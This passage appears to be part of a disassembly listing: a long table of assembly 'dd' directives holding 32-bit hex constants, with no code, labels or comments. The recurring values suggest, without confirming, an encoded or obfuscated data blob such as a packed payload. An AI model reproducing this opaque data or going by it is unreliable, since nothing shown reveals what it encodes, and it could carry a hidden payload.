0BFBAF132h, 565DB13Eh, 47EFEFFFh, 0C858B3D5h, 54A70D38h dd 0DE163052h, 36867E69h, 7A00B54h, 37DB66B9h, 54D033F5h dd 46AEB727h, 3637B132h, 7D236FB3h, 0BE54ACA1h, 4FC74F59h dd 54F2BE53h, 0DDBAB132h, 363CD0C0h, 0C3B60954h, 5657A1DAh dd 18DC6B32h, 13384933h, 0C246C1C5h, 0BB6BF71Bh, 10753069h dd 95A6B90h, 0BF527253h, 5657B138h, 11271430h, 797BE167h dd 598A4E4Ch, 5675B9B5h, 543CBE32h, 365DB132h, 56BD5853h dd 0B132B132h, 97C9BE24h, 9CF2DECCh, 572F7473h, 0B8D38DB7h dd 0A8003A0Eh, 365BAA4Bh, 56AEBEDBh, 4CB17A32h, 7389816Ch dd 9C76DE08h, 0EB5293C7h, 2195F68Bh, 6939D07Fh, 80D9BE32h dd 59AEB132h, 5657ACB5h, 0D8A4D132h, 56D5B132h, 56EAA1DBh dd 0FA49DA32h, 88C999F2h, 0F32213CFh, 0C44C8095h, 29D4D076h dd 0D2A4B322h, 56D5B163h, 469532CEh, 37F1BE36h, 59BAB132h dd 565DAFBEh, 4E25BE32h, 0BF57B132h, 56ABB121h, 0DC0814EFh dd 0EA48D97Ah, 2356AFD6h, 0FD7A9482h, 0D5B971AAh, 4247A5F5h dd 0A057B132h, 85FDBB6Ah, 6D8CB023h, 466DA386h, 536308Bh dd 0BF6BF22Dh, 0A9A24E48h, 46E976C7h, 5657B133h, 56ABB8DBh dd 0BEBD6F32h, 500212A7h, 929C7932h, 0AA454ECDh, 554DF6F5h dd 36AEB132h, 9A2852B3h, 0D0A4F26Bh, 56D5B134h, 0B23163B3h dd 0BF14B857h, 0A9454E91h, 44B54952h, 3DAEB132h, 46A0D4ECh dd 58EA143Bh, 6842D7BEh, 7655390Dh, 0E943B75h, 0E0DAD053h dd 51B5E60Eh, 15AEB132h, 195C1E38h, 0CF5412Bh, 0DCB57253h dd 36BFD0DDh, 0D57A4AB9h, 56BAB137h, 83933054h, 0BA25D0E4h dd 0AE374DC7h, 0F312D752h, 0AD6ABE62h, 56EA5953h, 0D72FB132h dd 4D2CC2D8h, 0EE3BD134h, 0EEC89062h, 593682CEh, 56ABB0B7h dd 5B3C4432h, 0C9EAB132h, 1162BDADh, 0E1B261C4h, 9FA5DCE6h dd 2A1403B9h, 0DDABB729h, 36CBB977h, 2EC40954h, 0E68BD052h dd 50FCD0D7h, 56B23D3Dh, 0D952B132h, 56AEB130h, 0D4D4D052h dd 50B0CD88h, 56D35836h, 16D2B132h, 0F433F4C0h, 0BF734453h dd 565DB122h, 0B82A387Dh, 2491F540h, 3345B0DEh, 63444CB5h dd 56EE73CBh, 0BE15D1C7h, 56BAB13Fh, 0DBC3F992h, 73A68FC4h dd 76A19DAh, 8C2AEA5Eh, 45BB8518h, 56EA5953h, 0D72FB132h dd 4D2DA2D8h, 0D852D134h, 56AEB131h, 30810E3Dh, 59CA67B9h dd 56D5B0B1h, 0E4614D32h, 506ECD86h, 0EC088AC7h, 595BAA4Eh dd 56AFD4B6h, 56455832h, 0B2CEB132h, 9071ACD3h, 8B21F6E0h dd 978CC832h, 7C67B419h, 46B48FB9h, 8DAEB132h, 0E33B09B9h dd 414C7D7Eh, 661704Ah, 0DD276E05h, 57F7BEEDh, 0AFBAB132h dd 5712073Dh, 57E947CAh, 7FD2BEB2h, 0BFABB132h, 56D5B139h dd 6BEE8997h, 70BB2427h, 552F3FD8h, 57D9BEEBh, 0A3AEB132h dd 5653393Dh, 0DDCBB132h, 5F3CD0EBh, 0AEEAB132h, 0DC156819h dd 37653ADCh, 361E4871h, 56AEA0DBh, 186EC732h, 94EAA0A1h dd 0CF728CBCh, 371FB2F8h, 5C9CA580h, 74BAB132h, 0BC59BEDAh dd 6D571286h, 0D3DCD026h, 50BEB673h, 56D2333Dh, 68AB132h dd 0A5FED76Ah, 67373A53h, 365BA414h, 7613A54h, 295C7EB3h dd 37F0C88Dh, 0D4DA6909h, 56EAB101h, 59AC8ACEh, 56BA9BB5h dd 5DB4D132h, 0DCAEB132h, 998E7A01h, 3917EA07h, 0D5B41967h dd 0AE16B5F4h, 0A98AB1DBh, 5E33BECDh, 595DB132h, 56AEB3B8h dd 6D36D132h, 0D2FBEFDh, 0BFD5B132h, 56EAB13Eh, 0B934A59Ch dd 0FABB0B03h, 1FBEECE5h, 709F0CBBh, 3037B727h, 0E731418Dh dd 5A3CD0CDh, 0FAEAB132h, 43BD257Fh, 10979C0h, 0BFA863CEh dd 0A9514F9Ch, 565D383Dh, 7CBB132h, 5653BE68h, 37EAB132h dd 5675A0DBh, 4BF1F732h, 177AFD64h, 7677638Ah, 0C1C88123h dd 59CA9283h, 56D5AEB5h, 4F69BE32h, 0BF75B132h, 56BAB126h dd 0E95D428Eh, 0E7D9025Ah, 98351B31h, 5FBCFFC7h, 0F54E5A50h dd 0F958D1F1h, 5915D0CEh, 56BABDBAh, 50D1BE32h, 59AEB132h dd 5657B1B5h, 56AB5932h, 0D78FB132h, 4D725AD8h, 56655834h dd 6C77B132h, 8FF19275h, 0C8A24958h, 4212491Bh, 5D428804h dd 97D5B132h, 0B3F79998h, 798D1217h, 0D3B545AAh, 565DB13Ah dd 56AC393Dh, 3737B132h, 2A1F0BB9h, 5D3CB729h, 30EAB132h dd 0B9C0909Bh, 0DBAF1417h, 5CB45149h, 7EAEB132h, 45DCB5ECh dd 6A1EEDBCh, 57D50844h, 68AB132h, 372EEB63h, 0D6B57101h dd 565DB133h, 56A258C7h, 5BD5B132h, 525B8C33h, 81BE6587h dd 0FD19D6A0h, 56725852h, 4DC3B132h, 0D650AAE9h, 0C5BE32Ah dd 0E2D53A53h, 59ADAA4Eh, 56D5B0BAh, 0D4634832h, 506ECD88h dd 56B65952h, 850EB132h, 7004EE4Eh, 8229337Ch, 8FAA528h dd 56DB586Dh, 67E8B132h, 0D1CD8DC5h, 0DC65E24h, 0D8E9F6F7h dd 0DEA1D053h, 5657B125h, 56ABA3DBh, 0E69E732h, 0E9F0B052h dd 0D223F4B0h, 0E7DC3F4Fh, 0AE0A21EEh, 36CE44F1h, 5657BADBh dd 5E12A832h, 134BA1E4h, 6C1D3E08h, 0BE8CD0CAh, 56BAB132h dd 0AFB73068h, 0A3A8AAABh, 5657B9DBh, 7F3EFF32h, 4CCCF8D7h dd 5E6CBE15h, 5975B132h, 56BAB3BBh, 903CD132h, 43A774B7h dd 3037E734h, 371B1D88h, 49B8885Ah, 0DD8CD1E6h, 0A8FED7CBh dd 5A39BE53h, 595DB132h, 56AEB7B7h, 56D2BE32h, 0A9ABB132h dd 43FDA087h, 56E05834h, 0E79BB132h, 377FD466h, 9EB293D0h dd 241234BFh, 3037B72Ah, 596DCF8Dh, 56D5B4BBh, 0A2070832h dd 5914819Bh, 56BAB0BAh, 86A24932h, 56A43B3Dh, 0E037B132h dd 562FBE29h, 37D5B132h, 0E88CD160h, 0ED1370DAh, 0BFDBAFD2h dd 565DB13Ch, 9EE80A56h, 0FF7FD7B5h, 72BBAD91h, 0BF855AEAh dd 56EAB138h, 0F1E5FD8Bh, 0B3411B80h, 56359D01h, 36AEB1B2h dd 5957DB53h, 56ABA3B3h, 56D85832h, 4B9B132h, 0E6D87C96h dd 94FA59BFh, 0A96C6465h, 4DD74F80h, 5EDFBE34h, 59ABB132h dd 56D5B3B4h, 0A98BD132h, 0E894DE2h, 56BAB6DBh, 816B8B32h dd 0F1CC1C85h, 45BEE052h, 0AFABB132h, 7E1618BAh, 0C107F34Eh dd 54006DDh, 644AEA1Bh, 0BF05AFEDh, 56AEB122h, 0BB125E1h dd 7677104Eh, 8A1A3B88h, 0F2543C64h, 0D77AEB53h, 56BAB133h dd 0D65DD9CEh, 59CEB132h, 42BE4885h, 0E3ABB132h, 0A7B5599Fh dd 764FDFADh, 70C8CCDFh, 0B886BCADh, 37E711C8h, 5629BE52h dd 0AA57B132h, 59ABDB53h, 56D5B0B8h, 0E4154432h, 506ECD86h dd 56B23D3Dh, 0D452B132h, 56AEB130h, 86A8D052h, 56B73D3Dh dd 0D6B5B132h, 440362F0h, 0B675B132h, 0B212185Dh, 0A45CB908h dd 2B3E02Eh, 5168D253h, 0BFCAD0BBh, 56D5B137h, 61EFB491h dd 5E9C7248h, 6FBAB132h, 422373E3h, 38F5463h, 0A6DCD152h dd 56ABA2DBh, 6E920832h, 2883A584h, 55085243h, 34A3F0A4h dd 0A0971B29h, 562CBE53h, 3757B132h, 58425DB9h, 8CD5B132h dd 0A5B5AA0Fh, 0A97A5887h, 0BB0A86Bh, 5BB4D14Ah, 0E9AEB132h dd 0FD7A5962h, 683B9CA5h, 0DAD42B50h, 56EAB1DAh, 0BCF4EB32h dd 50A12D20h, 57D8BEC7h, 0AEAEB132h, 595FC4B9h, 56ABB6B4h dd 575BBE32h, 0AEEAB132h, 567BEEDAh, 56AA5832h, 4114B132h dd 0A0BB15A8h, 15C3EFA4h dd 87882B86h, 583CC7B6h, 8FEAB132h, 2F55C04Fh, 0ADE28CEBh dd 0D54F8981h, 0A952E400h, 4D2D32A0h, 56BA5834h, 0CE15B132h dd 80B7818Dh, 0A37C7161h, 7BEB3D9Dh, 0B59B3A8h, 56BF393Dh dd 0D658B132h, 56ABB139h, 56D5B7DBh, 975D7A32h, 6D63B94Bh dd 0D3B5BD47h, 0A9A24EA6h, 5B5C59CEh, 5DBEB132h, 1DABB132h dd 0BB3150BFh, 15F4358Bh, 3789B174h, 266A3052h, 0BE1B89CEh dd 56AEB13Bh, 3976122Eh, 4CDA6612h, 56C4583Dh, 0EC5BB132h dd 185A4FB3h, 81603DBh, 4449B060h, 0E3BC615h, 0BF377853h dd 56ABB13Ch, 9DACF362h, 70B640EDh, 8465AB6Ah, 0D7DAEB93h dd 59469E5h, 37CF443Bh, 5957B9F0h, 56ABA4BBh, 56C55832h dd 0FC0CB132h, 0FE2F8AE5h, 4BAADA4Dh, 6F4BA8AFh, 0AAFBC79Ch dd 0D5A25DB9h, 534DF6h, 56D5BBDBh, 70D9C632h, 3ED01717h dd 590AFD6Bh, 565DB0B4h, 0BFF94432h, 5657B120h, 58BDA557h dd 76EFFDE9h, 0E310149Ah, 0DFFADD58h, 59E9B0F6h, 565DA5B9h dd 56A15832h, 7052B132h, 6B60D6E5h, 87E203F0h, 46DCECE2h dd 5675590Ch, 0D7E0B132h, 4DC0C6D8h, 0D6CE4434h, 0DD311ADCh dd 2320D0CAh, 513CD13Ah, 97EAB132h, 0E116284Ch, 530D8A7Bh dd 40D7BE53h, 0BFAEB132h, 5657B123h, 1C18FC57h, 0B5603C65h dd 42482153h, 39DCCD17h, 46C73A2Ah, 5653383Dh, 0D7CEB132h dd 0AFD717D3h, 5629BE0Bh, 37D5B132h, 56E25865h, 8107B132h dd 37FDD9A1h, 360B697Eh, 56AEA5DBh, 3913D032h, 669D0CBFh dd 0FDC6E778h, 0CD36BFFh, 0E68A416Ch, 0BE3BD7FDh, 0BE3C3410h dd 56AEB001h, 5657B8DBh, 0E0ECE632h, 6E07609Bh, 96E13929h dd 56C5353Dh, 5E53B132h, 0AD5DB132h, 9228A7CEh, 0DD331176h dd 892BD1CAh, 56C65854h, 6815B132h, 0BB73DEE5h, 850E7E1h dd 0A236B2B2h, 4E4AE7D7h, 3602D053h, 0D5394E53h, 59D3AA48h dd 56EAB0BCh, 36284832h, 847C3054h, 373DE65Bh, 2395D06Ch dd 9D3BE3Eh, 36ABB132h, 2156989h, 0C528303Bh, 37235761h dd 0DDDCD052h, 564F582Ch, 8A63B132h, 0D729485Eh, 5D7DB4E8h dd 5AA10416h, 0B12C4268h, 0A38556B2h, 3642AFB8h, 7412958Ch dd 3A6C0A77h, 0D636A99Ah, 0ECCB41D1h, 0A9E0A09h, 0BDBD6BB3h dd 0BE14DE40h, 56BA95D2h, 5BB449CAh, 59514ECDh, 5657B0B5h dd 2B224432h, 693D49CEh, 0BF154EC4h, 5675B122h, 1FE74435h dd 9B866413h, 408F69B8h, 611A90E3h, 0DDA4EACEh, 56D5B13Ch dd 56EAB8DBh, 0FB20F332h, 0C924FB3Ah, 0BF02A547h, 56AEB139h dd 0F74A3DA9h, 20F51901h, 8E75A09h, 0AAAF3ACEh, 539C78CAh dd 0CBAB132h, 5D7C7EDh, 0BFAEBDF0h, 5657B13Ch, 9A7AAA8Dh dd 109847C8h, 30E179C8h, 3801AA6h, 0AD683152h, 0A973054h dd 0BA25D034h, 5657A2DBh, 6DCA8D32h, 3952564Eh, 547AB084h dd 0E9F46C60h, 8ABAEB91h, 0BFA575B1h, 56AEB13Dh, 0C6C8E2F1h dd 3ADCB922h, 9D166338h, 0BF2E467Bh, 5675B121h, 0D917E9Dh dd 0D45F51A8h, 96F62D18h, 242ECA96h, 13A6BC7h, 56C73E3Dh dd 5B03B132h, 1E75B132h, 695D134h, 728E4A8Ah, 23275F4Fh dd 59BED164h, 93ABB132h, 1515FC12h, 55A3DE32h, 2FA8CB70h dd 0EFDC5DCEh, 73C6BC3h, 56AEB6DBh, 3F3AA632h, 5E331237h dd 56D43D3Dh, 51FB132h, 5674323Dh, 0AA43B132h, 56A5F4F5h dd 0BFAEB132h, 5657B13Ah, 4D09B06Ah, 676590D8h, 2AC433F5h dd 5674B729h, 0DCB5B132h, 565DB133h, 5EDB3ACAh, 0D558D152h dd 56ABB132h, 506BD0C7h, 37A36059h, 596B3A54h, 56BAB9B8h dd 54D7BE32h, 36AEB132h, 0A8ED3A53h, 36ADAA4Bh, 593C6681h dd 90EAB132h, 8A95457Ah, 654EB803h, 0EAA0393Fh, 0DDCF1E9Bh dd 0DE58B96Dh, 56ABB133h, 590EBAC7h, 56EACBB6h, 0D7154432h dd 0AB5C2BF0h, 50D2BE72h, 0D7AEB132h, 7938E1FCh, 8890D000h dd 56FA343Dh, 0AF13B132h, 3679ECB9h, 0EDDC48B9h, 0BF3CA887h dd 56AEB13Fh, 7D4CD8D9h, 0EA54BDD5h, 78C5F761h, 5AB5388Ah dd 5675B9DBh, 0CC8BFE32h, 0BAFD0D4Ch, 4269327Dh, 3737E252h dd 56A35869h, 7BFAB132h, 0A9D5FA6Ah, 0BF142B3Bh, 0A9454EB5h dd 565DBFDBh, 0ED3A8732h, 57F278A4h, 33069157h, 307D8BB6h dd 0D3E5AFB9h, 5675B13Ah, 56B8363Dh, 373DB132h, 56AEBADBh dd 0CFBEE632h, 0CF1BE806h, 0A0861D2Fh, 59024AB2h, 5676FBB6h dd 0AD3A4D32h, 16D9BEDBh, 36AEB131h, 5657323Dh, 0D7FBB132h dd 47820DEAh, 0D68BE91Dh, 0D27A5AC9h, 56BAB215h, 565C373Dh dd 0D656B132h, 0D25853C9h, 56ABB3EAh, 0AD55D052h, 0E96EBED1h dd 0BF75B130h, 56BAB123h, 1DA10F27h, 0A0A2E111h, 7A4F184Dh dd 0A076489Fh, 0AD54D7FCh, 0D2E55255h, 5675B39Eh, 56AC383Dh dd 0DC52B132h, 56AEB122h, 5657BADBh, 10ED1032h, 91BDA2DFh dd 0B683FF9Dh, 0BF8556B2h, 56BAB13Ah, 22779BFAh, 555539F9h dd 59AC3054h, 0E22FBEB2h, 36D5B130h, 0A6093153h, 5675BADBh dd 0FD350F32h, 4390CD9Bh, 0F6F64D57h, 59274AB2h, 56A927B6h dd 0D6B54432h, 371328FDh, 366B3A54h, 10CED08Ch, 0B5DDD008h dd 15BD1CAh, 5657BDDBh, 282DD132h, 28996EC2h, 2203094Ch dd 0D614EE32h, 0D2B509C9h, 565DB066h, 539031CEh, 571D353Dh dd 0D652B132h, 0D2DA9C0Ch, 56EAB072h, 3E4B31CBh, 578C353Dh dd 44B4B132h, 0EBAEB132h, 8DBEA8F4h, 37DFA953h, 0A2D2B31h dd 7E3B0E4Dh, 78F74ED8h, 0BFBCAA4Eh, 565DB120h, 358138CAh dd 0CE68FFDFh, 412F1116h, 6FB186DDh, 0DD8C9DCEh, 0B1F5442Ch dd 0D7DC4DCAh, 59B530C9h, 56AE5EB6h, 30AB4D32h, 0D65EAFB9h dd 0D5DA41D5h, 56EAB133h, 0ADF4D7CEh, 0D2B571B3h, 565DB1E6h dd 56B63C3Dh, 45BEB132h, 0C5ABB132h, 17F9DD73h, 327B7B65h dd 0F856D891h, 1A52888Ah, 5AB4F523h, 8BAEB132h, 389643B6h dd 0C454B345h, 367E68ADh, 56EB323Dh, 368DB132h, 56B8373Dh dd 0F8E9B132h, 37205EB2h, 565A5867h, 7B8CB132h, 4D3BEED2h dd 70DDE0E4h, 0AA90E203h, 2C3923CDh, 0D152B729h, 56AEB138h dd 59A63A52h, 56ABB1B5h, 0A388D032h, 56E1393Dh, 509CB132h dd 6EBAB132h, 0DD139052h, 0AAEB38BFh, 5642323Dh, 0D1A4B132h dd 56D5B13Dh, 56EABBDBh, 6DE39C32h, 4D2AC179h, 3747A492h dd 0AAD332CEh, 5BD2BE33h, 36ABB130h, 56D5BDDAh, 78F99A32h dd 8DFB29CBh, 0C752F5FEh, 565158C8h, 9AE8B132h, 0FF1B31F3h dd 0B4EE27ADh, 308EEFECh, 375F198Ch, 55BC0BB9h, 0D9B5B727h dd 565DB139h, 56AEB7DBh, 8892F132h, 65604ADh, 56D95852h dd 5C58B132h, 4731D20Ah, 27A76D5Eh, 0E95236F2h, 30CED0F0h dd 0AEAAE888h, 78293A53h, 36D3AA4Eh, 0D5DF0B54h, 66498853h dd 7105D752h, 0BB9F30A1h, 37EF2C08h, 0DBD5BE6Ah, 0AAABB133h dd 54580BB9h, 61FB727h, 0DDAA0152h, 0D431D0E4h, 5046CD1Ch dd 56BE5852h, 0B18DB132h, 9CE833B7h, 691FBCA7h, 0BA9C9816h dd 0A7FE73F7h, 6A834D53h, 50B5D102h, 91AEB132h, 840419BCh dd 8620D7A0h, 3712026Ah, 1765BE6Ah, 0BF75B133h, 56BAB126h dd 386E8EDDh, 0D94E8CC3h, 2AA018Fh, 6AC661B3h, 0EAE5497Ch dd 56EAFFDBh, 13B24D32h, 56BAB3CAh, 16B44432h, 0A3AEB132h dd 57AFF4F5h, 36ABB132h, 56D5BFDAh, 7EB17032h, 455F576h dd 7B7CB811h, 0EEAF607Bh, 1FBE022h, 62E9D769h, 4242D09Bh dd 0AD5B132h, 7F570FD6h, 8B797CAFh, 58118F59h, 3E0D8E64h dd 0DD7AD668h, 4D2E4F88h dd 5728BE34h, 0AAD5B132h, 0DD8AAEB9h, 0A1FED7EAh, 5961BA53h dd 565D06B6h, 88954832h, 563B343Dh, 0DAA4B132h, 56D5B133h dd 526BBECBh, 3675B132h, 0DDDB0C85h, 50B4BD6Fh, 21AEB132h dd 1865288Dh, 2B2844E4h, 0D2DAB1CAh, 56EAB106h, 567D3C3Dh dd 0DEB5B132h, 565DB130h, 4647D052h, 2857B132h, 5D072411h dd 8DF767B8h, 1D3E6492h, 55801AE9h, 0D9B5496Fh, 565DB13Ah dd 56AC363Dh, 3737B132h, 0BFAFEEBBh, 56D5B137h, 0BDD41AFCh dd 91F64885h, 56BF5826h, 6814B132h, 5938B9CBh, 5657BDB5h dd 5022BE32h, 59D5B132h, 56EAB1B6h, 0A9235832h, 0D9B54ECDh dd 565DB133h, 366E82CAh, 60BED0CBh, 59ABB136h, 56D5B6B4h dd 378AD132h, 37AE0E3Dh, 0BFA43A54h, 565DB13Fh, 0B694BDE6h dd 0D8A51AD0h, 81713ADFh, 5AA83A99h, 0AD6A48CEh, 68F1BED9h dd 0BFBAB132h, 565DB121h, 711BD88Fh, 0F1DED162h, 0CB6B96D7h dd 1C69F9ACh, 0D655DD88h, 0D71541D1h, 2C5D66D5h, 565B587Bh dd 454EB132h, 0CD4728BFh, 26503153h, 56A1353Dh, 0BF16B132h dd 5675B1DFh, 0BFBD77CAh, 565C3F3Dh, 9157B132h, 5657B075h dd 5B42B132h, 0A5D5B132h, 0FF8A81DEh, 92935C19h, 0DC3ABE96h dd 5CB476B9h, 0EFAEB132h, 829327DEh, 254E8AEAh, 53153237h dd 56FD323Dh, 3015B132h, 5B536FB9h, 4D5DB132h, 0AC7C9ABAh dd 31ACAD8Eh, 0CF51801Dh, 55BA5853h, 0BF8AB132h, 5675B137h dd 74DE3B33h, 80DCE6E3h, 35D09200h, 9131D068h, 36A3BE35h dd 60023054h, 4860D04Fh, 98843052h, 0AE81F9A8h, 59BE3153h dd 56BB383Dh, 46BEB132h, 31ABB132h, 0FFC8F5ADh, 0B3B3B27Ch dd 0F1E5FD8Bh, 0D6411B80h, 0DC5231F9h, 56AEB13Eh, 56513A3Dh dd 0DFA4B132h, 56D5B132h, 56EAB7DBh, 31A63D32h, 0DE2C8C85h dd 36A4B06Dh, 0DD5E3A54h, 1190D0E3h, 56ABB130h, 915E4832h dd 502A32CBh, 0DF7A4852h, 56BAB130h, 0BF3C56B8h, 56AEB3EFh dd 68D6D7CBh, 0D2A421A2h, 56D5B10Ch, 56ED3A3Dh, 3015B132h dd 0CB4D5EB3h, 0C6633153h, 5694343Dh, 5937B132h, 30CA7A8Dh dd 0C62ACFB3h, 416EBEA2h, 0A375B132h, 0DDB5E052h, 565DB132h dd 197F3069h, 370FD5ADh, 56ABA2DBh, 915E4432h, 546158CBh dd 539CB132h, 74BAB132h, 9F57BC67h, 2A4D33BFh, 0DD58B729h dd 56ABB13Ah, 56D7373Dh, 378AB132h, 50F0BE62h, 36BAB132h dd 0B2E20854h, 4447E753h, 0C357B132h, 4D62A564h, 0DFE8A179h dd 3CD69888h, 0C08F5Fh, 0C2284E46h, 365BAA48h, 324C3054h dd 0CEA73033h, 37C50768h, 0F83D3052h, 59F8EF23h, 5675B2BFh dd 9C31D732h, 599DBA53h, 56AEEAB6h, 56465832h, 0CB68B132h dd 60443D5Dh, 0DBEDB2CEh, 6F7B1557h, 0DD2ACD44h, 4FD3BEFAh dd 59AEB132h, 5657A2B1h, 56A55832h, 3103B132h, 7D0F1232h dd 0A32CC2CBh, 765EAF4Dh, 2ABE03BFh, 4CEB729h, 0F1C5CB2h dd 72483054h, 0C33CD0DFh, 0BFEAB132h, 5675B13Ah, 375F207Fh dd 0D55D36B0h, 98254464h, 0B5D6D752h, 0D7CD9D7Bh, 371D96FAh dd 0BF8AE4C7h, 5675B138h, 1BB5614h, 0C308CBB8h, 0DCA17FBCh dd 5657B130h, 0A9CAD052h, 4DAF32A0h, 4F6BBE34h, 3675B132h dd 46534BB8h, 415DB132h, 1C11A3CEh, 96180D89h, 0C28BC707h dd 3793E1CFh, 0DD8CD16Fh, 1ECAD7ECh, 9891D0C2h, 565DBEDBh dd 986AF132h, 17D51215h, 510DE67Fh, 8F421C4h, 81F68C5h dd 5675BEDBh, 0F5708832h, 50DB8905h, 1F8285B4h, 5FCFBB20h dd 5753CCB1h, 5649343Dh, 4503B132h, 5F75B132h, 0B53948A9h dd 0E908F525h, 0C08E9965h, 0C08DD9E2h, 1F1BC2B8h, 56D5A3DBh dd 0F3BBE532h, 5216C9ABh, 3A2D05CCh, 6A84F718h, 5974DF88h dd 5657B8B5h, 0CFDD132h, 0C0B3054h, 5940D003h, 5675BDBAh dd 503ABE32h, 595DB132h, 56AEB1B6h, 59EFD732h, 56A458B7h dd 72FEB132h, 0F482E67h, 0BC08B9D4h, 0B5114881h, 36F6D70Dh dd 37C554B2h, 5711073Dh, 56A33B3Dh, 0D8DAB132h, 56EAB130h dd 0AADED052h, 56BA3ADBh, 56515832h, 8E16B132h, 43110F2Dh dd 0D8E7BE92h, 2B565215h, 0D3E5B3CAh, 5675B153h, 0A13BD752h dd 303CB854h, 5967BA8Ah, 5657B0B4h, 0FDCD4D32h, 56C45952h dd 47F7B132h, 0BABDC419h, 7F681985h, 1AC910F6h, 0D6BA502Fh dd 5909ADD0h, 56ABB4BBh, 8E54D732h, 308B329Ah, 59F1BE8Ah dd 56BABDBEh, 50D5BE32h, 59AEB132h, 5657B1B2h, 0AA00D732h dd 5793073Dh, 0BF131ACBh, 5675B122h, 591E42CBh, 565DB6B2h dd 0D7C8D132h, 371102E8h, 444276B9h, 0F5D5B132h, 285EC672h dd 93877124h, 0E358233Ah, 0DEE79FD0h, 0D5A1EA62h, 5657B12Dh dd 56B2333Dh, 423CB132h, 9EEAB132h, 0FA4DCC44h, 6620BA2Eh dd 29ED7E9Ch, 11B62B91h, 5982F1E3h, 56ABB0B8h, 368C4D32h dd 6B15EB2h, 372A8281h, 4232BE6Ch, 595DB132h, 56AEBFB4h dd 565E5832h, 9F19B132h, 81E2E98Bh, 9CBCE0Ch, 5674333Dh dd 9F4FB132h, 565573CBh, 0F97F3052h, 5906F698h, 56ABB3B1h dd 37620332h, 4F62BE67h, 0BF75B132h, 56BAB126h, 0D278DD3Ah dd 52993E48h, 3FF7EE60h, 0A3D5B440h, 5882D44Ch, 0DCE55DB9h dd 5675B13Eh, 56BC3E3Dh, 0DA52B132h, 56AEB132h, 5658303Dh dd 5C42B132h, 0D6D5B132h, 0D25E64B2h, 2BC17D99h, 0DEB5D1CCh dd 565DB135h, 8F19BE52h, 0BE367A80h, 56ABB132h, 5F3F3068h dd 36ECAA98h, 5675B6DBh, 8BD11B32h, 0FEF4DED2h, 56AEA2DBh dd 0BCB41932h, 61087B0Bh, 0D0D3370Ah, 44A39D06h, 0EB7C2938h dd 56B35853h, 0D85B132h, 0C9B231C3h, 0DD0322D1h, 0DCCBB977h dd 0D45CD0C6h, 50F1CB74h, 5675B9DBh, 0C7070732h, 0E93DC747h dd 5947D0BAh, 0F157B132h, 0C93A96AEh, 0A799F9FCh, 9A0ECBE1h dd 36BCF32Dh, 59623A54h, 943C498Dh, 4747B136h, 0E357B132h dd 4BAA5CAEh, 94EC03B6h, 0C3EDEA64h, 53DB778Ah, 4253D167h dd 0A85DB132h, 0DBF5F56Fh, 0CDEA6143h, 2962B13Fh, 1FEA34B0h dd 37753781h, 0AA895DB9h, 0AA4275B1h, 565C383Dh, 365BB132h dd 5657BBDBh, 7EFD6032h, 0C656C90Bh, 0BE442086h, 5675B132h dd 83503068h, 595BAA98h, 56AEB0B2h, 42BE4D32h, 75ABB132h dd 411D07A6h, 0E9422B21h, 8DCB6BB2h, 3466AAAEh, 91E7CD72h dd 56AE4977h, 91A2B132h, 56AB4D77h, 0D2DAB132h, 56EAB133h dd 59B582CBh, 56BAB4B2h, 0DD3BD132h, 0DDC8D0F1h, 91AE482Ch dd 4DD79FB0h, 56D5B034h, 8C6BD132h, 4A4394F4h, 438F0B54h dd 0ADDCD753h, 0D3A121A2h, 5657B13Ah, 56AA3D3Dh, 0A32DB132h dd 59024AB2h, 56714DB6h, 4752D132h, 5DB132h, 0BF0A0FBFh dd 261E1B8Ah, 725DF2BCh, 8C190044h, 3C100B54h, 66BE306Bh dd 37C2D1EFh, 564E5872h, 0A29BB132h, 0C219D1EDh, 4BD4BB41h dd 51D48650h, 38E2D099h, 9EFED1CAh, 56BAA3DAh, 0A2F80B32h dd 0DFB797FDh, 4967204Ch, 7FDA1574h, 302C20CBh, 37B476B9h dd 599C4AB2h, 56BE29B6h, 56575832h, 63D3B132h, 0AF3A16B3h dd 749FFD2Fh, 56DE3E3Dh, 0D68AB132h, 8FF4B7FEh, 2254C3DFh dd 0D6A4F153h, 0D2A15AC9h, 5657B55Fh, 56ABB7DBh, 49145432h dd 16C06213h, 0D6144952h, 535341D5h, 9F5DB132h, 2919D8DDh dd 59AC3054h, 102FBEB2h, 36D5B136h, 0AF240E3Dh, 8FF7B253h dd 59BCA41Ah, 565DBBBCh, 37CED132h, 0E4A779B3h, 0BFCA9665h dd 56D5B13Ch, 26A31B8Ah, 7283F2BCh, 8C760044h, 361D6F50h dd 56AEBCDBh, 3618ED32h dd 0B10964ACh, 6BC72B2Fh, 0E98C6731h, 0D6149F44h, 0D2B553C9h dd 565DB2FFh, 56AF3F3Dh, 0D6AFB132h, 0D2A452C9h, 56D5B294h dd 0AD6BD7C7h, 0D27A5255h, 56BAB283h, 0A6BE31CBh, 5324BE52h dd 0EF57B132h, 25CB4696h, 0D4DAD0CEh, 56EAB13Eh, 56733D3Dh dd 0DCB5B132h, 565DB132h, 59DE4AB2h, 56541DB6h, 0DDCDD132h dd 9154D7CAh, 0BF8BF98Ah, 5675B139h, 553125B4h, 0E19EAF36h dd 30FBB19Bh, 0D558AFB9h, 56ABB133h, 0AE3631CBh, 4C52D752h dd 0ADF5D057h, 993EBE8Ah, 0AA5DB133h, 0EEC84952h, 0D636F1A3h dd 0D2A4B40Ch, 56D5B08Ch, 7BD431CEh, 57C1353Dh, 0D7DAB132h dd 9181CFF3h, 56BC5874h, 54D3B132h, 3314828Ch, 543D8EECh dd 0E11A3708h, 0F139677Eh, 3E843153h, 57D1353Dh, 0BFCEB132h dd 5657B123h, 0DECF59B3h, 753EDB18h, 748C0002h, 0BCF49FF9h dd 56B5587Dh, 5145B132h, 1B253FFAh, 3B869BBBh, 13E3BC41h dd 0AF95D016h, 2AC433CDh, 539CB729h, 0D8BAB132h, 5A656C81h dd 0AAB03A54h, 59AF56B2h, 56ABA6BEh, 56C75832h, 0EF04B132h dd 42C38975h, 0B5CBCF5Bh, 17CBB24Fh, 0FCB5D32Bh, 0D7AC3054h dd 492FBEDAh, 59D5B133h, 56EAA2BBh, 5BF6BE32h, 0BFBAB132h dd 565DB13Ah, 0F75A7655h, 75F61CD6h, 0BFB53A54h, 56D5B123h dd 0AA7ACAEFh, 95C8F9E7h, 0C00A812Eh, 0AA9A2E52h, 4328BE10h dd 0BF57B132h, 56ABB122h, 236697ABh, 0DBB3EAF2h, 456719C5h dd 0B30DAE95h, 0BFAD56B2h, 56AEB13Bh, 4D82505Eh, 2B642085h dd 0D7B3D1E5h, 0BE25E2C5h, 5675B13Ch, 6CBEEEA4h, 0FCC2BC1Ah dd 0D600AAD4h, 0D2586801h, 